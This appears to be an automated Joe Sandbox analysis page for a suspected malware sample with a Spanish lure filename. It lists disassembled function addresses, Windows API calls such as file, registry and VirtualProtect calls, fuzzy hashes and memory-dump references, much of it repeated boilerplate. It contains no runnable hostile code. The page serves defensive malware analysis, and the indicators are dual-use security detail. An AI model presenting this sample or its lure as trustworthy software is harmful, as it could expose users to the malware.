Opcode ID: 54dc5824f5c0b92d3717b9ad71fc9fb5e9820c420ec4ed7a34213902fe8ebc0d
Instruction ID: c0d23e370c25ffca0c370365ac79ff448217ed3cb42859f8984a45efd79f81dd
Opcode Fuzzy Hash: 54dc5824f5c0b92d3717b9ad71fc9fb5e9820c420ec4ed7a34213902fe8ebc0d
Instruction Fuzzy Hash: A8F0C233A04111ABEB10BBB49B8EAAE72699F40348F11447FF602B71C0C9FC4D428669

Function 00401E43 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E61
EnableWindow.USER32(00000000,00000000), ref: 00401E6C

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 9adac78c471a7b014724d29a43e55a2d617bbe92051c3315918a9e4bc9b204ee
Instruction ID: 50398dcd8f08d813da2dc86a20fdec6a2780ea60cea6e306d4739c988c0027c9
Opcode Fuzzy Hash: 9adac78c471a7b014724d29a43e55a2d617bbe92051c3315918a9e4bc9b204ee
Instruction Fuzzy Hash: 15E0D832A08204CFD724DBF4AE8446E73B0EB40318721457FE402F11D0CBF848419B6D

Function 00401573 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 00401587
ShowWindow.USER32(?), ref: 0040159C

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 3df8f9aa0e84aed34486b50dc89b6c196ba83f63d566bf1c6c21640ce3ab5a10
Instruction ID: 260cd15fba1b918f9c8f7222e6ae0819555963ba5a0cf8c35b7be57c581c0378
Opcode Fuzzy Hash: 3df8f9aa0e84aed34486b50dc89b6c196ba83f63d566bf1c6c21640ce3ab5a10
Instruction Fuzzy Hash: 4DE04F76B00104EBCB24CBA4ED908AE77A6EB483147514D7AD502B32A0CA759C51CF38

Function 004065EC Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,004034B3,00000009), ref: 004065FE
GetProcAddress.KERNEL32(00000000,?), ref: 00406619

Part of subcall function 0040657C: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406593
Part of subcall function 0040657C: wsprintfW.USER32 ref: 004065CE
Part of subcall function 0040657C: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004065E2

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 31197a09b32f9822319ed056a1c078f96e3f7aaf520cdba8edd4f010bc886546
Instruction ID: aacf951b1eba8b902ff867273acd7254ef5911eae3d9513ed99e50af610fe84a
Opcode Fuzzy Hash: 31197a09b32f9822319ed056a1c078f96e3f7aaf520cdba8edd4f010bc886546
Instruction Fuzzy Hash: 44E026326046206BC31047705E0893762AC9FC83003020C3EF502F2044CB789C329EAD

Function 00405DE7 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F18,C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe,80000000,00000003), ref: 00405DEB
CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405E0D

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 7f22f31ca84e25cf3c35cca7fc28e1469c604482c982d9b12555b4894eb7b1e0
Instruction ID: e98dd403a5e5432679a9d4e257ef455d3d6759c2e5ed6cf280caa05d5291d686
Opcode Fuzzy Hash: 7f22f31ca84e25cf3c35cca7fc28e1469c604482c982d9b12555b4894eb7b1e0
Instruction Fuzzy Hash: B3D09E71654601EFEF098F20DF16F2E7AA2EB84B00F11562CB682940E0DA7158199B19

Function 00405DC2 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,004059C7,?,?,00000000,00405B9D,?,?,?,?), ref: 00405DC7
SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405DDB

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2eea293136030474feb3e1a7c5b1a6ed000805180dcccd9d627e45cfe66d6639
Instruction ID: 952e92710cc69b9b43d0c132b1ebcdc485dc7d738455aa6d22c0503b32111fdc
Opcode Fuzzy Hash: 2eea293136030474feb3e1a7c5b1a6ed000805180dcccd9d627e45cfe66d6639
Instruction Fuzzy Hash: 9DD0C972504520ABC2112728AE0C89BBB55EB542717028B35FAA9A22B0CB304C568A98

Function 004058BD Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,0040343D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403672), ref: 004058C3
GetLastError.KERNEL32 ref: 004058D1

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 90cc4c9737d43430731b600de694bcf2d45feac9894761d90dfe22e9228b7257
Instruction ID: 9103f4137618f2f7179a3cd735c3beaeb677db9e9f97e60de6da32ac40298118
Opcode Fuzzy Hash: 90cc4c9737d43430731b600de694bcf2d45feac9894761d90dfe22e9228b7257
Instruction Fuzzy Hash: 42C04C31204A019BD6506B209F08B177A94EF50742F21C4396646F00A0DA348425DF3D

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 6251c18e5517084ee8ba5c9c0a6be4cc0851712c02702a55459641eaa8ba777c
Instruction ID: 60e635295c4898b6971f0d6b86fcc4365428ea47b068a52fddb524a00f4394d8
Opcode Fuzzy Hash: 6251c18e5517084ee8ba5c9c0a6be4cc0851712c02702a55459641eaa8ba777c
Instruction Fuzzy Hash: 76F0BB31608524A7DB10B7B59F4DD9E2154AF4236CB21837FF512B21D0DABDC542457F

Function 00402805 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 00402823

Part of subcall function 00406159: wsprintfW.USER32 ref: 00406166

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 5f1d525169d9ce6b4f9467462e39e8872e382c374fce7961deb580ad00958b0a
Instruction ID: 360c63f9489f710495f37cc3b83494bffb267c36335a31cc71ff2527b59642b3
Opcode Fuzzy Hash: 5f1d525169d9ce6b4f9467462e39e8872e382c374fce7961deb580ad00958b0a
Instruction Fuzzy Hash: 18E06571A00104EBD711DBA4AE45CAE7379DF00308711883BF102B40D1CAB94D529A2D

Function 0040230C Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 00402343

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 196762a6526ae89b3abf44263c4053b82e560c8490a900e61fc9f6afa6b6512d
Instruction ID: 442d6135041436e14d88d5d309934ead45877352a2168de0e76fd2d1165917bb
Opcode Fuzzy Hash: 196762a6526ae89b3abf44263c4053b82e560c8490a900e61fc9f6afa6b6512d
Instruction Fuzzy Hash: 3FE086319085B66BE71036F10F8DABF10589B44385B14057FB612B71C3D9FC4D8242AD

Function 00401735 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 00401749

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: f591029e79f8f8fcd920fc775de66d6628d1ee33a8842cd7bdb8c3539a8a47b2
Instruction ID: d8de68dbe72b960966570827fcf7b95eaea009d5ef273339483d93543a2671c7
Opcode Fuzzy Hash: f591029e79f8f8fcd920fc775de66d6628d1ee33a8842cd7bdb8c3539a8a47b2
Instruction Fuzzy Hash: 9BE0D872300100ABD710DB64DE48AAA3398DF0036CF20853AE602A60C0D6B48A41873D

Function 00402D5D Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,000001EE,00000000,00000022,00000000,?,?), ref: 00402D85

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 2cb17219caef5c2c057f25c6a0d5a563c17eea178cedf0001938d6a474f7be63
Instruction ID: 508f16f0b04c5eadc0d806ad76faca1178dd72643dd16b9b94500f6ee76514f5
Opcode Fuzzy Hash: 2cb17219caef5c2c057f25c6a0d5a563c17eea178cedf0001938d6a474f7be63
Instruction Fuzzy Hash: 12E04F76280108ABDB00EFA4EE46ED537DCAB14740F008021B608D70A1C674E5509768

Function 00405E6A Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,004033FF,0040A230,0040A230,00403303,00414ED0,00004000,?,00000000,004031AD), ref: 00405E7E

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 367723d41a66009c2099c483b716accd4a6fea8915a9694eb2152ff5aa97eb4c
Instruction ID: 5673304fef1064f236b213ef723108cd0aff19b739320a24e8caa41491261f20
Opcode Fuzzy Hash: 367723d41a66009c2099c483b716accd4a6fea8915a9694eb2152ff5aa97eb4c
Instruction Fuzzy Hash: 27E0B63661025ABBDF109F65DC00AAB7B6CFB05260F048436BA55E6190E635E9219AE4

Function 00405E99 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,0040ED0F,0040CED0,00403383,0040CED0,0040ED0F,00414ED0,00004000,?,00000000,004031AD,00000004), ref: 00405EAD

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction ID: 98d10028cd881ca52753e47c7ca342dd4640a312c7922d7b1eeb81aac27e7924
Opcode Fuzzy Hash: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction Fuzzy Hash: 41E0EC3226065AABDF109F55DC00EEB7F6CEB053A1F048836FD55E2190D631EA62DBE4

Function 100027C7 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E5

Memory Dump Source

Source File: 00000000.00000002.2987306905.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2987274852.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987339691.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987366231.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 0f6967942ea94a3d6c88e3f350f968197b77ea31d8e69eb9713f4ef8856af232
